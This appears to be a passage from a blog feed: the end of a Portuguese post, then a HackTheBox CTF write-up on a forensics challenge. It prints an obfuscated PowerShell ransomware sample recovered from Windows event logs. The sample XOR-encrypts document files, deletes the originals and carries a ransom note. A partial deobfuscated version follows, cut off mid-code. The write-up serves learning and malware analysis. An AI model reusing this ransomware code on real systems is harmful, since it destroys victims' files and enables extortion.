Talvez eu atualize esse post quando a ANPD publicar mais informações.</p>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="rant" /><category term="politics" /><summary type="html"><![CDATA[Asisti o vídeo, li a lei, li o decreto; aguardo regulamentação da ANPD]]></summary></entry><entry><title type="html">HTB Cyber Apocalypse CTF 2025</title><link href="https://www.baioc.dev/writeup/htb-cyber-apocalypse-2025/" rel="alternate" type="text/html" title="HTB Cyber Apocalypse CTF 2025" /><published>2025-03-26T00:00:00+00:00</published><updated>2025-03-26T00:00:00+00:00</updated><id>https://www.baioc.dev/writeup/htb-cyber-apocalypse-2025</id><content type="html" xml:base="https://www.baioc.dev/writeup/htb-cyber-apocalypse-2025/"><![CDATA[<p>I’m writing this just as <a href="https://www.hackthebox.com/events/cyber-apocalypse-2025">this year’s HackTheBox Cyber Apocalypse CTF</a> comes to an end.</p>

<p>I invited some friends and a few university freshmen to participate, and despite this being the first time in a cybersecurity CTF for most of the team, we ended up solving slightly more than a third (37%) of the challenges, capturing 29 out of 77 flags over a weekend.
Our team didn’t make it to the podium (unsurprisingly), but we managed to place in the top 10% among all ~8k teams which signed up.</p>

<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cert.jpg" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cert.jpg" alt="participation certificate" /></a></figure>

<p>Personally, I think it was a good learning opportunity, and I’m looking forward to reading other people’s writeups on the challenges which we couldn’t solve.
In the meantime, here is how I solved 3 particular challenges, each one in a different category and all with less than 1k solves:</p>
<ul>
  <li><a href="#forensics---cave-expedition">Forensics - Cave Expedition</a></li>
  <li><a href="#crypto---traces">Crypto - Traces</a></li>
  <li><a href="#web---cyber-attack">Web - Cyber Attack</a></li>
</ul>

<h2 id="forensics---cave-expedition">Forensics - Cave Expedition</h2>

<blockquote>
  <p>Rumors of a black drake terrorizing the fields of Dunlorn have spread far and wide.
The village has offered a hefty bounty for its defeat.
Sir Alaric and Thorin answered the call also returning with treasures from its lair.
Among the retrieved items they found a map.
Unfortunately it cannot be used directly because a custom encryption algorithm was probably used.
Luckily it was possible to retrieve the original code that managed the encryption process.
Can you investigate about what happened and retrieve the map content?</p>
</blockquote>

<h3 id="file-identification">File Identification</h3>

<p>In this challenge, we’re only given a couple of files:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-a</span> forensics_cave_expedition
<span class="nb">.</span>  ..  Logs.zip  map.pdf.secured

<span class="nv">$ </span>file forensics_cave_expedition/<span class="k">*</span>
forensics_cave_expedition/Logs.zip:        Zip archive data, at least v2.0 to extract, compression <span class="nv">method</span><span class="o">=</span>deflate
forensics_cave_expedition/map.pdf.secured: ASCII text, with very long lines <span class="o">(</span>65536<span class="o">)</span>, with no line terminators
</code></pre></div></div>

<p>After a quick look at <code class="language-plaintext highlighter-rouge">map.pdf.secured</code>, we know it’s probably base64-encoded.
Decoding it reveals a binary blob which <code class="language-plaintext highlighter-rouge">file</code> can’t identify, and using <a href="https://github.com/gcarmix/HexWalk">HexWalk</a> reveals it has high entropy throughout.
This really seems like an encrypted file, as stated in the challenge description.</p>

<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-encrypted.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-encrypted.png" alt="encrypted map" /></a></figure>

<p>Our small piece of lore also claims “it was possible to retrieve the original code that managed the encryption process”, so let’s look into the other file now.</p>

<h3 id="log-analysis">Log Analysis</h3>

<p>Within <code class="language-plaintext highlighter-rouge">Logs.zip</code>, we have 425 EVTX files, that is, Windows Event Logs.
In Kali, we can <code class="language-plaintext highlighter-rouge">apt install python3-evtx</code> and then dump those into a more readable format with <code class="language-plaintext highlighter-rouge">evtx_dump.py</code>.
Grabbing one of these log files at random, it looked like this:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.1" encoding="utf-8" standalone="yes" ?&gt;</span>
<span class="nt">&lt;Events&gt;</span>
<span class="nt">&lt;/Events&gt;</span>
</code></pre></div></div>

<p>So having most files empty, I sorted by size and started looking into the only one which stood out: <code class="language-plaintext highlighter-rouge">Logs/Microsoft-Windows-Sysmon_Operational.evtx</code>.
After a quick look, we could see some interesting commands being executed, which you can see me grepping for below.</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-logs.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-logs.png" alt="reading EVTX logs" /></a></figure>

<p>You can see some powershell lines printing pieces of base64 to a file, then decoding and executing it.
We can reassemble the base64, and decode it into the following:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$k34Vm</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"</span><span class="w">
</span><span class="nv">$m78Vo</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpZT1VSIEZJTEVTIEhBVkUgQkVFTiBFTkNSWVBURUQgQlkgQSBSQU5TT01XQVJFCiogV2hhdCBoYXBwZW5lZD8KTW9zdCBvZiB5b3VyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gRG8gbm90IHdhc3RlIHlvdXIgdGltZSB0cnlpbmcgdG8gZmluZCBhIHdheSB0byBkZWNyeXB0IHRoZW07IGl0IGlzIGltcG9zc2libGUgd2l0aG91dCBvdXIgaGVscC4KKiBIb3cgdG8gcmVjb3ZlciBteSBmaWxlcz8KUmVjb3ZlcmluZyB5b3VyIGZpbGVzIGlzIDEwMCUgZ3VhcmFudGVlZCBpZiB5b3UgZm9sbG93IG91ciBpbnN0cnVjdGlvbnMuCiogSXMgdGhlcmUgYSBkZWFkbGluZT8KT2YgY291cnNlLCB0aGVyZSBpcy4gWW91IGhhdmUgdGVuIGRheXMgbGVmdC4gRG8gbm90IG1pc3MgdGhpcyBkZWFkbGluZS4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo="</span><span class="w">
</span><span class="nv">$a53Va</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="</span><span class="w">
</span><span class="nv">$b64Vb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"</span><span class="w">

</span><span class="nv">$e90Vg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{}</span><span class="w">
</span><span class="nv">$f12Vh</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{}</span><span class="w">

</span><span class="kr">For</span><span class="w"> </span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">65</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="w"> </span><span class="o">-le</span><span class="w"> </span><span class="mi">90</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$e90Vg</span><span class="p">[([</span><span class="n">char</span><span class="p">]</span><span class="nv">$x</span><span class="p">)]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kr">if</span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="mi">90</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">65</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">](</span><span class="nv">$x</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">n90Vp</span><span class="w"> </span><span class="p">{</span><span class="w">
     </span><span class="p">[</span><span class="n">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetString</span><span class="p">([</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$m78Vo</span><span class="p">))</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">l56Vn</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="p">(</span><span class="n">a12Vc</span><span class="w"> </span><span class="nv">$k34Vm</span><span class="p">)</span><span class="o">.</span><span class="nf">Split</span><span class="p">(</span><span class="s2">" "</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">For</span><span class="w"> </span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">97</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="w"> </span><span class="o">-le</span><span class="w"> </span><span class="mi">122</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$e90Vg</span><span class="p">[([</span><span class="n">char</span><span class="p">]</span><span class="nv">$x</span><span class="p">)]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kr">if</span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="mi">122</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">97</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">](</span><span class="nv">$x</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">a12Vc</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">string</span><span class="p">]</span><span class="nv">$a34Vd</span><span class="p">)</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="p">[</span><span class="n">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetString</span><span class="p">([</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$a34Vd</span><span class="p">))</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="nv">$c56Ve</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">a12Vc</span><span class="w"> </span><span class="nv">$a53Va</span><span class="w">
</span><span class="nv">$d78Vf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">a12Vc</span><span class="w"> </span><span class="nv">$b64Vb</span><span class="w">

</span><span class="kr">For</span><span class="w"> </span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">48</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="w"> </span><span class="o">-le</span><span class="w"> </span><span class="mi">57</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$e90Vg</span><span class="p">[([</span><span class="n">char</span><span class="p">]</span><span class="nv">$x</span><span class="p">)]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kr">if</span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="mi">57</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">48</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">](</span><span class="nv">$x</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="nv">$e90Vg</span><span class="o">.</span><span class="nf">GetEnumerator</span><span class="p">()</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$f12Vh</span><span class="p">[</span><span class="bp">$_</span><span class="o">.</span><span class="nf">Value</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Key</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">l34Vn</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$m56Vo</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$n78Vp</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$o90Vq</span><span class="p">)</span><span class="w">
    </span><span class="nv">$p12Vr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">byte</span><span class="p">[]]::</span><span class="n">new</span><span class="p">(</span><span class="nv">$m56Vo</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
    </span><span class="kr">for</span><span class="w"> </span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="w"> </span><span class="o">-lt</span><span class="w"> </span><span class="nv">$m56Vo</span><span class="o">.</span><span class="nf">Length</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nv">$q34Vs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$n78Vp</span><span class="p">[</span><span class="nv">$x</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">$n78Vp</span><span class="o">.</span><span class="nf">Length</span><span class="p">]</span><span class="w">
        </span><span class="nv">$r56Vt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$o90Vq</span><span class="p">[</span><span class="nv">$x</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">$o90Vq</span><span class="o">.</span><span class="nf">Length</span><span class="p">]</span><span class="w">
        </span><span class="nv">$p12Vr</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$m56Vo</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span><span class="w"> </span><span class="o">-bxor</span><span class="w"> </span><span class="nv">$q34Vs</span><span class="w"> </span><span class="o">-bxor</span><span class="w"> </span><span class="nv">$r56Vt</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="nv">$p12Vr</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">s78Vu</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$t90Vv</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">string</span><span class="p">]</span><span class="nv">$u12Vw</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">string</span><span class="p">]</span><span class="nv">$v34Vx</span><span class="p">)</span><span class="w">

    </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$t90Vv</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="bp">$null</span><span class="w"> </span><span class="o">-or</span><span class="w"> </span><span class="nv">$t90Vv</span><span class="o">.</span><span class="nf">Length</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="kr">return</span><span class="w"> </span><span class="bp">$null</span><span class="w">
    </span><span class="p">}</span><span class="w">

    </span><span class="nv">$y90Va</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetBytes</span><span class="p">(</span><span class="nv">$u12Vw</span><span class="p">)</span><span class="w">
    </span><span class="nv">$z12Vb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetBytes</span><span class="p">(</span><span class="nv">$v34Vx</span><span class="p">)</span><span class="w">
    </span><span class="nv">$a34Vc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">l34Vn</span><span class="w"> </span><span class="nv">$t90Vv</span><span class="w"> </span><span class="nv">$y90Va</span><span class="w"> </span><span class="nv">$z12Vb</span><span class="w">

    </span><span class="kr">return</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">(</span><span class="nv">$a34Vc</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">o12Vq</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">switch</span><span class="p">]</span><span class="nv">$p34Vr</span><span class="p">)</span><span class="w">

    </span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$p34Vr</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$q56Vs</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="n">l56Vn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nv">$d34Vp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"dca01aq2/"</span><span class="w">
                </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nv">$d34Vp</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$d34Vp</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">Stop</span><span class="w"> </span><span class="o">|</span><span class="w">
                        </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Extension</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s2">"^\.</span><span class="nv">$q56Vs</span><span class="s2">$"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w">
                        </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
                            </span><span class="nv">$r78Vt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">FullName</span><span class="w">
                            </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nv">$r78Vt</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nv">$s90Vu</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">IO.File</span><span class="p">]::</span><span class="n">ReadAllBytes</span><span class="p">(</span><span class="nv">$r78Vt</span><span class="p">)</span><span class="w">
                                </span><span class="nv">$t12Vv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">s78Vu</span><span class="w"> </span><span class="nv">$s90Vu</span><span class="w"> </span><span class="nv">$c56Ve</span><span class="w"> </span><span class="nv">$d78Vf</span><span class="w">
                                </span><span class="p">[</span><span class="n">IO.File</span><span class="p">]::</span><span class="n">WriteAllText</span><span class="p">(</span><span class="s2">"</span><span class="nv">$r78Vt</span><span class="s2">.secured"</span><span class="p">,</span><span class="w"> </span><span class="nv">$t12Vv</span><span class="p">)</span><span class="w">
                                </span><span class="n">Remove-Item</span><span class="w"> </span><span class="nv">$r78Vt</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
                            </span><span class="p">}</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="kr">catch</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">USERNAME</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="s2">"developer56546756"</span><span class="w"> </span><span class="o">-and</span><span class="w"> </span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">COMPUTERNAME</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="s2">"Workstation5678"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="n">o12Vq</span><span class="w"> </span><span class="nt">-p34Vr</span><span class="w">
    </span><span class="n">n90Vp</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="malware-deobfuscation">Malware Deobfuscation</h3>

<p>While this may look scary, the only dangerous pieces of this obfuscated powershell script are the calls to <code class="language-plaintext highlighter-rouge">[IO.File]::WriteAllText</code> and <code class="language-plaintext highlighter-rouge">Remove-Item</code>, within function <code class="language-plaintext highlighter-rouge">o12Vq</code>.
Because of the conditional in the bottom, that’s only executed in a very specific environment.
Furthermore, we can use a powershell interpreter to check out what some of these functions do, and what the base64 encoded strings translate to:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-ransomware.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-ransomware.png" alt="executing a safe function" /></a></figure>

<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-variables.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cave-expedition-variables.png" alt="printing variables" /></a></figure>

<p>Here’s a more readable version of the important parts:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$extensions_encoded</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"</span><span class="w">
</span><span class="nv">$key0_encoded</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="</span><span class="w">
</span><span class="nv">$key1_encoded</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">base64_decode</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">string</span><span class="p">]</span><span class="nv">$arg</span><span class="p">)</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="p">[</span><span class="n">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetString</span><span class="p">([</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$arg</span><span class="p">))</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="nv">$key0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">base64_decode</span><span class="w"> </span><span class="nv">$key0_encoded</span><span class="w">
</span><span class="nv">$key1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">base64_decode</span><span class="w"> </span><span class="nv">$key1_encoded</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">extensions_list</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="p">(</span><span class="n">base64_decode</span><span class="w"> </span><span class="nv">$extensions_encoded</span><span class="p">)</span><span class="o">.</span><span class="nf">Split</span><span class="p">(</span><span class="s2">" "</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">xor_encrypt</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">byte</span><span class="p">[]]</span><span class="bp">$input</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$key0</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$key1</span><span class="p">)</span><span class="w">
    </span><span class="nv">$result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">byte</span><span class="p">[]]::</span><span class="n">new</span><span class="p">(</span><span class="bp">$input</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
    </span><span class="kr">for</span><span class="w"> </span><span class="p">(</span><span class="nv">$x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="w"> </span><span class="o">-lt</span><span class="w"> </span><span class="bp">$input</span><span class="o">.</span><span class="nf">Length</span><span class="p">;</span><span class="w"> </span><span class="nv">$x</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nv">$a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$key0</span><span class="p">[</span><span class="nv">$x</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">$key0</span><span class="o">.</span><span class="nf">Length</span><span class="p">]</span><span class="w">
        </span><span class="nv">$b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$key1</span><span class="p">[</span><span class="nv">$x</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">$key1</span><span class="o">.</span><span class="nf">Length</span><span class="p">]</span><span class="w">
        </span><span class="nv">$result</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$input</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span><span class="w"> </span><span class="o">-bxor</span><span class="w"> </span><span class="nv">$a</span><span class="w"> </span><span class="o">-bxor</span><span class="w"> </span><span class="nv">$b</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="kr">return</span><span class="w"> </span><span class="nv">$result</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">do_encryption</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">([</span><span class="n">byte</span><span class="p">[]]</span><span class="bp">$input</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">string</span><span class="p">]</span><span class="nv">$key0</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">string</span><span class="p">]</span><span class="nv">$key1</span><span class="p">)</span><span class="w">

    </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="bp">$input</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="bp">$null</span><span class="w"> </span><span class="o">-or</span><span class="w"> </span><span class="bp">$input</span><span class="o">.</span><span class="nf">Length</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="kr">return</span><span class="w"> </span><span class="bp">$null</span><span class="w">
    </span><span class="p">}</span><span class="w">

    </span><span class="nv">$key0_bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetBytes</span><span class="p">(</span><span class="nv">$key0</span><span class="p">)</span><span class="w">
    </span><span class="nv">$key1_bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetBytes</span><span class="p">(</span><span class="nv">$key1</span><span class="p">)</span><span class="w">
    </span><span class="nv">$encrypted_bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">xor_encrypt</span><span class="w"> </span><span class="bp">$input</span><span class="w"> </span><span class="nv">$key0_bytes</span><span class="w"> </span><span class="nv">$key1_bytes</span><span class="w">

